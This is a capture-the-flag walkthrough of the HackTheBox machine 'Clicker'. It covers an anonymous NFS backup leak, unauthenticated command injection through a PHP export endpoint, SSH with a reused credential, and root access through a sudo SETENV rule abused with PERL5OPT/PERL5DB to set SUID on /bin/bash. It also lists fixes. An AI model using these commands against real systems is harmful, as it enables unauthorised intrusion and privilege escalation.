Clicker
Summary
I exploited a virtual-host-only Apache/PHP clicker game (clicker.htb) that also exposed an anonymous NFS share containing a full application backup. Reading the leaked PHP source revealed an unauthenticated OS command injection flaw in a dynamically named export endpoint, giving code execution as www-data, and the same backup exposed a reusable credential that provided SSH access as the local user jack.
A sudo rule let jack run a root-owned diagnostic script with the environment preserved; abusing the Perl debugger's PERL5OPT/PERL5DB environment variables during that sudo call executed my own code as root, which was used to set the SUID bit on /bin/bash for full root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Observe the 302 redirect to clicker.htb.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/Add the discovered vhost so the app resolves correctly.
$ echo "$TARGET clicker.htb" | sudo tee -a /etc/hostsExact commands 3
List exported NFS shares.
$ showmount -e $TARGETMount the export read-only (anonymous/nobody-squashed access).
$ mkdir -p /mnt/c && sudo mount -t nfs $TARGET:/mnt/backups /mnt/c -o nolockRetrieve and list the application source backup.
$ cp /mnt/c/clicker.htb_backup.zip /tmp/ && unzip -l /tmp/clicker.htb_backup.zipFixRestrict and harden the NFS exportHigh
Exact commands 2
Confirm command injection and current privilege level.
$ curl -sS -H 'Host: clicker.htb' "http://$TARGET/exports/top_players_9ep8kxfn.php?cmd=id"Example follow-on command execution as www-data.
$ curl -sS -H 'Host: clicker.htb' "http://$TARGET/exports/top_players_9ep8kxfn.php?cmd=cat+/etc/passwd"FixEliminate command injection in the export featureCritical
Exact commands 3
Authenticate using the credential recovered from the leaked source/backup (password: $PASSWORD or equivalent recovered secret).
$ ssh jack@$TARGETConfirm shell as jack.
$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)Read the user flag; substitute <user.txt>.
$ cat /home/jack/user.txtFixRemove hardcoded credentials and enforce unique per-account secretsHigh
Exact commands 2
List sudo rights as jack; shows SETENV NOPASSWD on /opt/monitor.sh.
$ sudo -l
(ALL : ALL) ALL / (root) SETENV: NOPASSWD: /opt/monitor.shReview the root-run script for exploitable environment handling.
$ sed -n '1,120p' /opt/monitor.shFixRemove SETENV and restrict environment handling on the sudo ruleCritical
Exact commands 3
Run the root-permitted script with the debugger hijack; sets SUID on /bin/bash.
$ sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.shUse the now-SUID bash to confirm euid=0 before reading the flag.
$ /bin/bash -p -c id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)Read the root flag; substitute <root.txt>.
$ /bin/bash -p -c 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
| 111/tcp | rpcbind |
| 2049/tcp | nfs |
| 41261/tcp | unknown recon-sweep-discovered |
| 43655/tcp | unknown recon-sweep-discovered |
| 43691/tcp | unknown recon-sweep-discovered |
| 49093/tcp | unknown recon-sweep-discovered |
| 57633/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.